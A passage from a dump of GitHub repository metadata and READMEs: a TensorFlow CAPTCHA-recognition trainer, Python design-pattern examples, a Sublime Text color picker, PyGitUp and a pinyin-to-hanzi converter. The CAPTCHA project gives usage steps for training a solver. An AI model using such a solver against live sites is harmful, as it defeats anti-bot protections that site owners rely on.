52.1% judged by captcha_eval.py, training size 100000, after 200000 steps\ncaptcha generator: https://github.com/Gregwar/CaptchaBundle\n \nDependence\n==========\n### python 2.7\n### Anaconda2 4.3.1\nhttps://www.continuum.io/downloads#linux\n### TensorFlow 1.1\nhttps://github.com/tensorflow/tensorflow\n### captcha\nhttps://pypi.python.org/pypi/captcha/0.1.1\n\nUsage\n=====\n## 1.prepare captchas\nput your own captchas in **<current_dir>/data/train_data/** for training, **<current_dir>/data/valid_data/** for evaluating and **<current_dir>/data/test_data/** for recognize testing, images file name must be **label_\\*.jpg** or **label_\\*.png** and recommend size **128x48**. you can also use default generation:\n```\npython captcha_gen_default.py\n```\n\n## 2.convert dataset to tfrecords\nthe result file will be **<current_dir>/data/train.tfrecord** and **<current_dir>/data/valid.tfrecord**\n```\npython captcha_records.py\n```\n\n## 3.training\ntrain and evaluate neural network on CPU or one single GPU\n```\npython captcha_train.py\n```\nyou can also train over multiple GPUs\n```\npython captcha_multi_gpu_train.py\n```\n\n## 4.evaluate\n```\npython captcha_eval.py\n```\n\n## 5.recognize\nread captchas from **<current_dir>/data/test_data/** for recogition\n```\npython captcha_recognize.py\n```\nresult like this\n```\n...\nimage WFPMX_num552.png recognize ----> 'WFPMX'\nimage QUDKM_num468.png recognize ----> 'QUDKM'\n```\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "RefactoringGuru/design-patterns-python", "link": "https://github.com/RefactoringGuru/design-patterns-python", "tags": ["design-patterns", "python"], "stars": 513, "description": "Design Pattern Examples in Python", "lang": "Python", "repo_lang": "", "readme": "# Design Patterns in Python\n\nThis repository is part of the [Refactoring.Guru](https://refactoring.guru/design-patterns) project.\n\nIt contains Python examples for all classic GoF design patterns.\n\nEach pattern includes two examples:\n\n- [x] **Conceptual** examples show the internal structure of patterns, including detailed comments.\n\n- [ ] **RealWorld** examples show how patterns can be used in real-world Python applications.\n\n\n## Requirements\n\nThese examples require Python 3.7 and newer.\n\nAll examples can be launched via the command line, using the Python executable as follows:\n\n```sh\npython src/Path-to-example/main.py\n```\n\nFor the best experience, I recommend working with examples with these IDEs:\n\n- [PyCharm](https://www.jetbrains.com/pycharm/)\n- [Visual Studio Code](https://code.visualstudio.com/) with the [Python extension](https://marketplace.visualstudio.com/items?itemName=ms-python.python)\n\n## FAQ\n\n#### 1. What is the _Client Code_?\n\n_Client_ means _client of classes, defined as part of a pattern_, which is merely a caller of the given methods or a user of the given classes. In other words, it's the part of your application's code that uses the pattern's classes.\n\n#### 2. I don't understand the roles you're referring to in RealWorld examples.\n\nTake a look at the conceptual example first. There you'll find detailed descriptions of each class in a pattern, its role, and connection to other classes.\n\n\n## Contributor's Guide\n\nI appreciate any help, whether it's a simple fix of a typo or a whole new example. Just [make a fork](https://help.github.com/articles/fork-a-repo/), make your change and submit a [pull request](https://help.github.com/articles/creating-a-pull-request-from-a-fork/).\n\nHere's a style guide which might help you to keep your changes consistent with the rest of the project's code:\n\n1. All code should match the [PEP 8 coding style guide](https://www.python.org/dev/peps/pep-0008/)\n\n2. Try to hard-wrap the code at 80th's character. It helps to list the code on the website without scrollbars.\n\n3. Aim to put all code within one file. Yes, I realize that it's not how it supposed to be done in production. However, it helps people to understand examples better, since all code fits into one screen.\n\n4. Comments may or may not have language tags in them, such as this:\n\n    ```python\n    \"\"\"\n    EN: All products families have the same varieties (MacOS/Windows).\n\n    This is a MacOS variant of a button.\n\n    RU: \u0412\u0441\u0435 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0438\u043c\u0435\u044e\u0442 \u043e\u0434\u043d\u0438 \u0438 \u0442\u0435 \u0436\u0435 \u0432\u0430\u0440\u0438\u0430\u0446\u0438\u0438 (MacOS/Windows).\n\n    \u042d\u0442\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043a\u043d\u043e\u043f\u043a\u0438 \u043f\u043e\u0434 MacOS.\n    \"\"\"\n    ```\n    \n    This notation helps to keep the code in one place while allowing the website to generates separate versions of examples for all listed languages. Don't be scared and ignore the non-English part of such comments. If you want to change something in a comment like this, just do it. Even if you do it wrong, we'll tell you how to fix it during the Pull Request.\n\n\n## License\n\nThis work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.\n\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" /></a>\n\n## Credits\n\nAuthors: Alexey Pyltsyn ([@lex111](https://github.com/lex111)) and Alexander Shvets ([@neochief](https://github.com/neochief))\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "weslly/ColorPicker", "link": "https://github.com/weslly/ColorPicker", "tags": [], "stars": 512, "description": "Color picker for Sublime Text", "lang": "Python", "repo_lang": "", "readme": "###Mac OSX\n![Mac OSX](http://i.minus.com/i5KI6SBAfs7Qk.png \"Mac OS X\")\n\n###Linux\n![Linux](http://i.minus.com/ihwLvn8m29GxZ.png \"Linux\")\n\n###Windows\n![Windows](http://i.minus.com/iY1DDCRG5TsyR.png \"Windows\")\n\n## Installation\nInstall this repository via [Package Control](https://sublime.wbond.net).\n\n\n## Usage\nTo insert or change a selected color, use:\n\n- Linux: `ctrl+shift+c`\n- Windows: `ctrl+shift+c`\n- OS X: `cmd+shift+c`\n\nor use menu action\n\n- **`Tools`** -> **`ColorPicker`**\n\n\nBy default, the hex color code is inserted using uppercase letters. To use lowercase letters instead, copy the contents of **`Preferences -> Package Settings -> ColorPicker -> Settings-Default`** to the empty file created by selecting **`Preferences -> Package Settings -> ColorPicker -> Settings-User`**, then change `\"color_upper_case\"` to `false`.\n\n## Calling from Other Plugins\nTo commands are provided to assist in calling a color picker from other plugins.  Info is shared between the plugins via a settings file.  It does not have to exist on disk; it can exist only in memory for the sole purpose of sharing the return.  It is advised to use a unique name for the settings file.  The data is returned in the settings key `color_pick_return`.  It is advised to set `color_pick_return` to `None` in your settings file before calling any of the commands. So you can tell if it set teh variable or not.\n\n### ColorPickApiIsAvailableCommand\nThis command is used to test if ColorPicker is installed.\n\n```python\n>> settings = sublime.load_settings('my_shared.sublime-settings')\n>> settings.set('color_pick_return', None)\n>> sublime.run_command('color_pick_api_is_available', {'settings': 'my_shared.sublime-settings'})\n>> print(settings.get('color_pick_return'))\nTrue\n```\n\n### ColorPickApiGetColorCommand\nThis command is used to call a color picker and get the selected value.  It takes a setings file and an optional `default_color`.\n\n```python\n>> settings = sublime.load_settings('my_shared.sublime-settings')\n>> settings.set('color_pick_return', None)\n>> sublime.run_command('color_pick_api_get_color', {'settings': 'my_shared.sublime-settings', 'default_color': '#ff0000'})\n>> print(settings.get('color_pick_return'))\n#23af44\n```\n\n## Acknowledgements\n\n- [Original colorpick plugin for OS X by jnordberg](https://github.com/jnordberg/sublime-colorpick/)\n- [Original colorpick plugin for Windows by animehunter](https://github.com/animehunter/SublimeColorPickerWindowsOnly)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "msiemens/PyGitUp", "link": "https://github.com/msiemens/PyGitUp", "tags": ["python", "git"], "stars": 512, "description": "A nicer `git pull`", "lang": "Python", "repo_lang": "", "readme": "PyGitUp |Version| |Build Status| |Coverage Status|\n==================================================\n\n|PyGitUp|_ is a Python port of\n`aanand/git-up <https://github.com/aanand/git-up/>`__. It not only\nfully covers the abilities of git-up and should be a drop-in replacement,\nbut also extends it slightly.\n\n.. |PyGitUp| replace:: ``PyGitUp``\n.. _PyGitUp: https://github.com/msiemens/PyGitUp\n\nWhy use ``git up``?\n-------------------\n\n    git pull has two problems:\n\n    * It merges upstream changes by default, when it's really more polite to `rebase\n      over them <http://gitready.com/advanced/2009/02/11/pull-with-rebase.html>`__,\n      unless your collaborators enjoy a commit graph that looks like bedhead.\n\n    * It only updates the branch you're currently on, which means git push will\n      shout at you for being behind on branches you don't particularly care about\n      right now.\n\n    (https://github.com/aanand/git-up/)\n\nDemonstration\n-------------\n\n.. image:: http://i.imgur.com/EC3pvYu.gif\n\nWhy use the Python port?\n------------------------\n\nI wasn't able to use the original ``git-up``, because I didn't want to install\na whole Ruby suite just for `git-up` and even with Ruby installed, there were\nsome problems running on my Windows machine. So, my reasons for writing\nand using this port are:\n\n1. Windows support.\n2. Written in Python ;)\n\nHow do I install it?\n--------------------\n\n1. Install ``git-up`` via `pip <https://pip.pypa.io/en/latest/installing.html>`__: ``$ pip install git-up``\n2. ``cd`` to your project's directory.\n3. Run ``git up`` and enjoy!\n\nHomebrew users can also use ``brew``: ``brew install pygitup``\n\nHow to run it locally?\n----------------------\n\nCould also checkout the **.github/workflows/ci-workflow.yml**\n\n1. clone repo and ``cd`` to repo directory.\n2. Install ``poetry`` as guided by `poetry installation doc <https://python-poetry.org/docs/#installation>`__\n3. Run ``poetry install``\n4. Run program with ``poetry run git-up``\n5. Run all tests with ``poetry run pytest -v --cov=PyGitUp`` or ``poetry run pytest -v --cov=PyGitUp --cov-report html``\n6. Run one test with ``poetry run pytest -q PyGitUp/tests/test_version.py -v --cov=PyGitUp``\n\nNote for Windows users:\n~~~~~~~~~~~~~~~~~~~~~~~\n\nSee `these instructions <http://stackoverflow.com/q/4750806/997063>`__\nfor installing pip, if you haven't already installed it. And don't forget\nto either:\n\n- make your ``Python/Scripts`` and ``Python/Lib/site-packages`` writable for\n  you,\n- run ``pip`` with admin privileges\n- or use ``pip install --user git-up`` and add ``%APPDATA%/Python/Scripts``\n  to ``%PATH%``.\n\nOtherwise pip will refuse to install ``git-up`` due to ``Access denied`` errors.\n\nPython version compatibility:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nPython 3.7 and upwards are supported :)\n\nOptions and Configuration\n-------------------------\n\nCommand Line Arguments\n~~~~~~~~~~~~~~~~~~~~~~\n\n- ``git up -h`` shows a help message.\n\n- ``git up --quiet`` suppresses all output except for error messages.\n\n- ``git up --no-fetch`` skips fetching the remote and rebases all local branches.\n\n- ``git up --version`` shows the current version and optionally checks for\n  updates (see below).\n\nConfiguration\n~~~~~~~~~~~~~\n\nTo configure ``PyGitUp``, you can set options in your git config. Run\n``git config [--global] git-up.[name] [value]`` to set one of these\noptions:\n\n-  ``git-up.fetch.prune [*true*|false]``: If set to ``true``,\n   ``PyGitUp`` will append the ``--prune``\\ option to ``git fetch`` and\n   thus remove any remote tracking branches which no longer exist on\n   the remote (see `git fetch\n   --help <http://linux.die.net/man/1/git-fetch>`__).\n\n-  ``git-up.fetch.all [true|*false*]``: If set to ``false``, ``PyGitUp``\n   will only fetch remotes for which there is at least one local\n   tracking branch. Setting this option will make ``git up`` always fetch\n   from all remotes, which is useful if e.g. you use a remote to push to\n   your CI system but never check those branches out.\n\n- ``git-up.push.auto [true|*false*]``: Push the current branch after\n  rebasing and fast-forwarding.\n\n- ``git-up.push.all [true|*false*]``: Push all branches when auto-pushing.\n\n- ``git-up.push.tags [true|*false*]``: Push tags when auto-pushing.\n\n-  ``git-up.rebase.arguments [string]``: If set, ``PyGitUp`` will use\n   this string as additional arguments when calling ``git rebase``.\n   Example: ``--preserve-merges`` to recreate merge commits in the\n   rebased branch.\n\n-  ``git-up.rebase.auto [*true*|false]``: If set to ``false``,\n   ``PyGitUp`` won't rebase your branches for you but notify you that\n   they diverged. This can be useful if you have a lot of in-progress\n   work that you don't want to deal with at once, but still want to\n   update other branches.\n\n-  ``git-up.rebase.log-hook [cmd]``: Runs ``cmd`` every time a branch\n   is rebased or fast-forwarded, with the old head as ``$1`` and the new\n   head as ``$2``. This can be used to view logs or diffs of incoming\n   changes. Example:\n   ``echo \"changes on $1:\"; git log --oneline --decorate $1..$2``.\n\n- ``git-up.rebase.show-hashes [true|*false*]``: If set to ``true``,\n  ``PyGitUp`` will show the hashes of the current commit (or the point\n  where the rebase starts) and the target commit like ``git pull`` does.\n\nNew in v1.0.0:\n~~~~~~~~~~~~~~\n\n- ``git-up.updates.check [*true*|false]``: When running ``git up --version``,\n  it shows the version number and checks for updates. If you feel\n  uncomfortable with it, just set it to ``false`` to turn off the checks.\n\nCredits\n-------\n\nThe original ``git-up`` has been written by aanand:\n`aanand/git-up/ <https://github.com/aanand/git-up/>`__.\n\n\nChangelog\n---------\n\nv2.2.0 (*2022-11-21*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Add support for Python 3.11. Thanks\n  `@hugovk <https://github.com/hugovk>`_ for `Pull Request #118\n  <https://github.com/msiemens/PyGitUp/pull/118>`_.\n\nv2.1.0 (*2021-10-02*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Switch to Python's ``argparse`` for CLI argument parsing. Thanks\n  `@ekohl <https://github.com/ekohl>`_ for `Pull Request #96\n  <https://github.com/msiemens/PyGitUp/pull/96>`_.\n\nv2.0.3 (*2021-09-23*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Drop support for Python 3.6 (following GitPython)\n- Update PyGitUp's CLI argument parser `Click <https://click.palletsprojects.com/en/8.0.x/>`_\n  to version 8.0. Thanks `@hugovk <https://github.com/hugovk>`_\n  for `Pull Request #109 <https://github.com/msiemens/PyGitUp/pull/109>`_.\n- Update other dependencies\n\nv2.0.2 (*2020-12-30*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Remove old Python 2 code. Thanks `@hugovk <https://github.com/hugovk>`_\n  for `Pull Request #104 <https://github.com/msiemens/PyGitUp/pull/104>`_.\n\nv2.0.1 (*2020-08-26*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Update dependencies\n\nv2.0.0 (*2020-08-15*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Drop Python 2 support in order to fix `Issue 102 <https://github.com/msiemens/PyGitUp/issues/102>`_\n- Drop Ruby Bundler integration\n- Migrate tests to ``py.test``\n\nv1.6.1 (*2018-12-12*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Upgrade to click>=7.0.0. Thanks `@no-preserve-root <https://github.com/no-preserve-root>`_\n  for `Pull Request #87 <https://github.com/msiemens/PyGitUp/pull/87>`_.\n\nv1.6.0 (*2018-10-26*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Skip stashing changes when possible. Thanks `@Chronial <https://github.com/Chronial>`_\n  for `Pull Request #86 <https://github.com/msiemens/PyGitUp/pull/86>`_.\n- Added faster fast-forward on branches that are not checked out. Thanks `@Chronial <https://github.com/Chronial>`_\n  for `Pull Request #83 <https://github.com/msiemens/PyGitUp/pull/83>`_.\n\nv1.5.2 (*2018-09-28*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed version requirement for Click dependency (`#82 <https://github.com/msiemens/PyGitUp/issues/82>`__).\n\nv1.5.1 (*2018-09-13*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed crash on Cygwin with rebase log hook enabled (`#80 <https://github.com/msiemens/PyGitUp/issues/80>`__).\n\nv1.5.0 (*2018-04-26*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Added auto-push support. Thanks `@WoLpH <https://github.com/WoLpH>`_\n  for `Pull Request #74 <https://github.com/msiemens/PyGitUp/pull/74>`_.\n\nv1.4.7 (*2018-04-07*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Added shorthand commandline arguments (``-V, -q, -h``, see `#73 <https://github.com/msiemens/PyGitUp/issues/73>`__).\n\nv1.4.6 (*2017-12-19*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- 3rd party dependencies have been updated (see `#65 <https://github.com/msiemens/PyGitUp/issues/65>`__).\n\nv1.4.5 (*2017-01-02*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed problems when working with branches containing hash signs in their name\n  (`#55 <https://github.com/msiemens/PyGitUp/issues/55>`__).\n- No longer installs a now unneeded script on ``pip install``. Thanks `@ekohl <https://github.com/ekohl>`_\n  for `Pull Request #60 <https://github.com/msiemens/PyGitUp/pull/60>`_.\n\nv1.4.4 (*2016-11-30*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed a bug when working with ``git worktree`` (`#58 <https://github.com/msiemens/PyGitUp/issues/58>`__).\n\nv1.4.3 (*2016-11-22*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed a bug with GitPython <= 2.0.8 (`#56 <https://github.com/msiemens/PyGitUp/issues/56>`__, `#57 <https://github.com/msiemens/PyGitUp/issues/57>`__).\n\nv1.4.2 (*2016-09-29*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Switched the command line argument parsing library (`#53 <https://github.com/msiemens/PyGitUp/issues/53>`__).\n\nv1.4.1 (*2016-08-02*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Include tests in PyPI distribution (`#51 <https://github.com/msiemens/PyGitUp/issues/51>`__).\n\nv1.4.0 (*2016-02-29*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- 3rd party dependencies have been updated.\n- Dependencies on 3rd party libraries have been loosened to better interact with other installed packages.\n  Thanks `MaximilianR <https://github.com/MaximilianR>`_ for `Pull Request #45 <https://github.com/msiemens/PyGitUp/pull/45>`_.\n- Added an command line argument to turn of fetching (``--no-fetch``). Thanks `@buoto <https://github.com/buoto>`_\n  for `Pull Request #46 <https://github.com/msiemens/PyGitUp/pull/46>`_.\n- Don't show a stacktrace anymore when stashing fails (`#35 <https://github.com/msiemens/PyGitUp/issues/35>`_).\n- Fixed a bug that caused problems with submodules if the submodule had unstashed changes/ Thanks\n  `@Javex <https://github.com/Javex>`_ for `Pull Request #27 <https://github.com/msiemens/PyGitUp/pull/27>`_.\n\nv1.3.1 (*2015-08-31*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed a bug when showing the version on Python 3 `#34 <https://github.com/msiemens/PyGitUp/issues/34>`__.\n\nv1.3.0 (*2015-04-08*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Support for Python 3 has been added. Thanks `@r4ts0n <https://github.com/r4ts0n>`_\n  for `Pull Request #23 <https://github.com/msiemens/PyGitUp/pull/23>`_\n  and `@Byron <https://github.com/Byron>`_ for quickly merging a Pull Request\n  in `GitPython <https://github.com/gitpython-developers/GitPython>`_\n  and releasing a new version on which this release depends.\n\nv1.2.2 (*2015-02-23*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Now updates submodules when called from ``git submodule foreach`` (`#8 <https://github.com/msiemens/PyGitUp/issues/8>`__).\n\nv1.2.1 (*2014-12-16*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed a problem with ``setuptools 8.x`` (`#19 <https://github.com/msiemens/PyGitUp/issues/19>`__).\n- 3rd party dependencies have been updated\n\nv1.2.0 (*2014-12-10*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Added an option to show hashes when fast-forwarding/rebasing like ``git pull``\n  does (``git-up.rebase.show-hashes``).\n- Fixed a bug when having branches with both local tracking branches and\n  remote tracking branches (`#17 <https://github.com/msiemens/PyGitUp/issues/17>`__).\n\nv1.1.5 (*2014-11-19*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- 3rd party dependencies have been updated to fix a problem with a 3rd party\n  library (`#18 <https://github.com/msiemens/PyGitUp/issues/18>`__).\n\nv1.1.4 (*2014-04-18*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed some typos in README and ``PyGitUp`` output.\n- 3rd party dependencies have been updated.\n\nv1.1.3 (*2014-03-23*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- ``ahead of upstream`` messages are now cyan (see `aanand/git-up#60 <https://github.com/aanand/git-up/issues/60>`__).\n- Fixed problem when using % in the log hook (`#11 <https://github.com/msiemens/PyGitUp/issues/11>`__).\n\nv1.1.2 (*2013-10-08*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed problems with the dependency declaration.\n\nv1.1.1 (*2013-10-07*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fix for `#7 <https://github.com/msiemens/PyGitUp/issues/7>`__\n  (AttributeError: 'GitUp' object has no attribute 'git') introduced by\n  v1.1.0.\n\nv1.1.0 (*2013-10-07*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Prior to v1.1.0, ``PyGitUp`` tried to guess the upstream branch for a local\n  branch by looking for a branch on any remote with the same name. With v1.1.0,\n  ``PyGitUp`` stops guessing and uses the upstream branch config instead.\n\n  This by the way fixes issue `#6 <https://github.com/msiemens/PyGitUp/issues/6>`__\n  (``git up`` doesn't work with local only branches).\n\n  **Note:**\n  This change may break setups, where a local branch accidentally has\n  the same name as a remote branch without any tracking information set. Prior\n  to v1.1.0, ``git up`` would still fetch and rebase from the remote branch.\n  If you run into troubles with such a setup, setting tracking information\n  using ``git branch -u <remote>/<remote branch> <local branch>`` should help.\n\n- 3rd party dependencies have been updated.\n\n- Allows to run ``git up --version`` from non-git dirs, too.\n\nv1.0.0 (*2013-09-05*)\n~~~~~~~~~~~~~~~~~~~~~\n\nFinally ``PyGitUp`` reaches 1.0.0. You can consider it stable now :)\n\n- Added a comprehensive test suite, now with a coverage of about 90%.\n- Lots of code cleanup.\n- Added option ``-h`` to display a help screen (``--help`` **won't** work, because\n  ``git`` catches this option and handles it before ``PyGitUp`` can do).\n- Added option ``--version`` to show, what version of ``PyGitUp`` is running.\n  Also checks for updates (can be disabled, see configuration).\n- Added option ``--quiet`` to be quiet and only display error messages.\n\nv0.2.3 (*2013-06-05*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed issue `#4 <https://github.com/msiemens/PyGitUp/issues/4>`__ (ugly\n  exception if remote branch has been deleted).\n\nv0.2.2 (*2013-05-04*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed issue `#3 <https://github.com/msiemens/PyGitUp/issues/3>`__ (didn't\n  return to previous branch).\n\n\nv0.2.1 (*2013-03-18*)\n~~~~~~~~~~~~~~~~~~~~~\n\n- Fixed problem: check-bundler.rb has not been installed when installing via\n  PyPI (problems with setup.py).\n\nv0.2 (*2013-03-18*)\n~~~~~~~~~~~~~~~~~~~\n\n- Incorporated `aanand/git-up#41 <https://github\n  .com/aanand/git-up/pull/41>`__: Support for ``bundle install --local`` and\n  ``rbenv rehash``.\n- Fixed issue `#1 <https://github.com/msiemens/PyGitUp/issues/1>`__ (strange\n  output buffering when having multiple remotes to fetch from).\n- Some under-the-hood improvements.\n\nv0.1 (*2013-03-14*)\n~~~~~~~~~~~~~~~~~~~\n\n- Initial Release\n\n.. |Build Status| image:: https://img.shields.io/azure-devops/build/msiemens/3e5baa75-12ec-43ac-9728-89823ee8c7e2/1.svg?style=flat-square\n   :target: https://dev.azure.com/msiemens/github/_build?definitionId=1\n\n.. |Coverage Status| image:: http://img.shields.io/coveralls/msiemens/PyGitUp/master.svg?style=flat-square\n  :target: https://coveralls.io/r/msiemens/PyGitUp\n\n.. |Version| image:: http://img.shields.io/pypi/v/git-up.svg?style=flat-square\n  :target: https://pypi.python.org/pypi/git-up\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "letiantian/Pinyin2Hanzi", "link": "https://github.com/letiantian/Pinyin2Hanzi", "tags": [], "stars": 512, "description": "\u62fc\u97f3\u8f6c\u6c49\u5b57\uff0c \u62fc\u97f3\u8f93\u5165\u6cd5\u5f15\u64ce\uff0c pin yin -> \u62fc\u97f3", "lang": "Python", "repo_lang": "", "readme": "# Pinyin2Hanzi\n\n\u62fc\u97f3\u8f6c\u6c49\u5b57\uff0c\u53ef\u4ee5\u4f5c\u4e3a\u62fc\u97f3\u8f93\u5165\u6cd5\u7684\u8f6c\u6362\u5f15\u64ce\uff0c\u517c\u5bb9Python 2\u3001Python 3\u3002\n\n## \u5b89\u88c5\nPython 2\uff1a\n```\n$ python setup.py install --user\n```\n\nPython 3\uff1a\n```\n$ python3 setup.py install --user\n```\n\n## \u4f7f\u7528\n\u4e0b\u9762\u7684\u793a\u4f8b\u5728Python 3\u4e2d\u8fd0\u884c\u3002\n\n#### \u57fa\u4e8eHMM\u7684\u8f6c\u6362\n\u539f\u7406\u662fviterbi\u7b97\u6cd5\u3002\n\n```python\nfrom Pinyin2Hanzi import DefaultHmmParams\nfrom Pinyin2Hanzi import viterbi\n\nhmmparams = DefaultHmmParams()\n\n## 2\u4e2a\u5019\u9009\nresult = viterbi(hmm_params=hmmparams, observations=('ni', 'zhi', 'bu', 'zhi', 'dao'), path_num = 2)\nfor item in result:\n    print(item.score, item.path)\n'''\u8f93\u51fa\n1.3155294593897203e-08 ['\u4f60', '\u77e5', '\u4e0d', '\u77e5', '\u9053']\n3.6677865125992192e-09 ['\u4f60', '\u53ea', '\u4e0d', '\u77e5', '\u9053']\n'''\n\n## 2\u4e2a\u5019\u9009\uff0c\u4f7f\u7528\u5bf9\u6570\u6253\u5206\nresult = viterbi(hmm_params=hmmparams, observations=('ni', 'zhi', 'bu', 'zhi', 'dao'), path_num = 2, log = True)\nfor item in result:\n    print(item.score, item.path)\n'''\u8f93\u51fa\n-18.14644152864202 ['\u4f60', '\u77e5', '\u4e0d', '\u77e5', '\u9053']\n-19.423677486918002 ['\u4f60', '\u53ea', '\u4e0d', '\u77e5', '\u9053']\n'''\n\n## 2\u4e2a\u5019\u9009\uff0c\u4f7f\u7528\u5bf9\u6570\u6253\u5206\nresult = viterbi(hmm_params=hmmparams, observations=('ni', 'zhii', 'bu', 'zhi', 'dao'), path_num = 2, log = True)\nfor item in result:\n    print(item.score, item.path)\n# \u53d1\u751fKeyError\uff0c`zhii`\u4e0d\u89c4\u8303\n```\n\n#### \u57fa\u4e8eDAG\u7684\u8f6c\u6362\n\u539f\u7406\u662f\u8bcd\u5e93+\u52a8\u6001\u89c4\u5212\u3002\n\n```python\nfrom Pinyin2Hanzi import DefaultDagParams\nfrom Pinyin2Hanzi import dag\n\ndagparams = DefaultDagParams()\n\n## 2\u4e2a\u5019\u9009\nresult = dag(dagparams, ('ni', 'bu', 'zhi', 'dao', 'de', 'shi'), path_num=2)\nfor item in result:\n    print(item.score, item.path)\n''' \u8f93\u51fa\n0.08117536840088911 ['\u4f60\u4e0d\u77e5\u9053', '\u7684\u662f']\n0.04149191639287887 ['\u4f60\u4e0d\u77e5\u9053', '\u7684\u8bd7']\n'''\n\n## 2\u4e2a\u5019\u9009\uff0c\u4f7f\u7528\u5bf9\u6570\u6253\u5206\nresult = dag(dagparams, ('ni', 'bu', 'zhi', 'dao', 'de', 'shi'), path_num=2, log=True)\nfor item in result:\n    print(item.score, item.path)\n''' \u8f93\u51fa\n-2.5111434226494866 ['\u4f60\u4e0d\u77e5\u9053', '\u7684\u662f']\n-3.1822566564324477 ['\u4f60\u4e0d\u77e5\u9053', '\u7684\u8bd7']\n'''\n\n## 1\u4e2a\u5019\u9009\nprint( dag(dagparams, ['ti', 'chu', 'le', 'bu', 'cuo', 'de', 'jie', 'jve', 'fang', 'an'], path_num=1) )\n'''\u8f93\u51fa\n[< score=0.0017174549839096384, path=['\u63d0\u51fa\u4e86', '\u4e0d\u9519', '\u7684', '\u89e3\u51b3\u65b9\u6848'] >]\n'''\n\n## 2\u4e2a\u5019\u9009\uff0c\u4f7f\u7528\u5bf9\u6570\u6253\u5206\nresult = dag(dagparams, ('ni', 'bu', 'zhi', 'dao', 'de', 'shii'), path_num=2, log=True)\nprint(result)\n# \u8f93\u51fa\u7a7a\u5217\u8868\uff0c\u56e0\u4e3a`shii`\u4e0d\u5b58\u5728\n```\n\n#### \u81ea\u5b9a\u4e49params\n\u5b9e\u73b0AbstractHmmParams, AbstractDagParams\u8fd9\u4e24\u4e2a\u63a5\u53e3\u5373\u53ef\u3002\u5177\u4f53\u53ef\u4ee5\u53c2\u8003\u6e90\u7801\u3002\n\n#### \u5173\u4e8e\u62fc\u97f3\n\u7ed9\u51fa\u7684\u62fc\u97f3\u5fc5\u987b\u662f\u201c\u89c4\u8303\u201d\u7684\u3002\u4f8b\u5982\n\n* \u7565 -> lve\n* \u636e -> ju\n\n\u5217\u4e3e\u6240\u6709\u201c\u89c4\u8303\u201d\u7684\u62fc\u97f3\uff1a\n```python\nfrom Pinyin2Hanzi import all_pinyin\nfor py in all_pinyin():\n        print(py)\n```\n\n\u5c06\u62fc\u97f3\u8f6c\u6362\u4e3a\u201c\u89c4\u8303\u201d\u7684\u62fc\u97f3\uff1a\n```python\nfrom Pinyin2Hanzi import simplify_pinyin\n\nprint(simplify_pinyin('lue'))\n# \u8f93\u51fa\uff1a'lve'\n\nprint(simplify_pinyin('l\u00fc\u00e8'))\n# \u8f93\u51fa\uff1a'lve'\n```\n\n\u5224\u65ad\u662f\u5426\u662f\u201c\u89c4\u8303\u201d\u7684\u62fc\u97f3\uff1a\n```python\nfrom Pinyin2Hanzi import is_pinyin\n\nprint(is_pinyin('lue'))\n# \u8f93\u51fa\uff1aFalse\n\nprint(is_pinyin('l\u00fc\u00e8'))\n# \u8f93\u51fa\uff1aFalse\n\nprint(is_pinyin('lvee'))\n# \u8f93\u51fa\uff1aFalse\n\nprint(is_pinyin('lve'))\n# \u8f93\u51fa\uff1aTrue\n```\n\n## 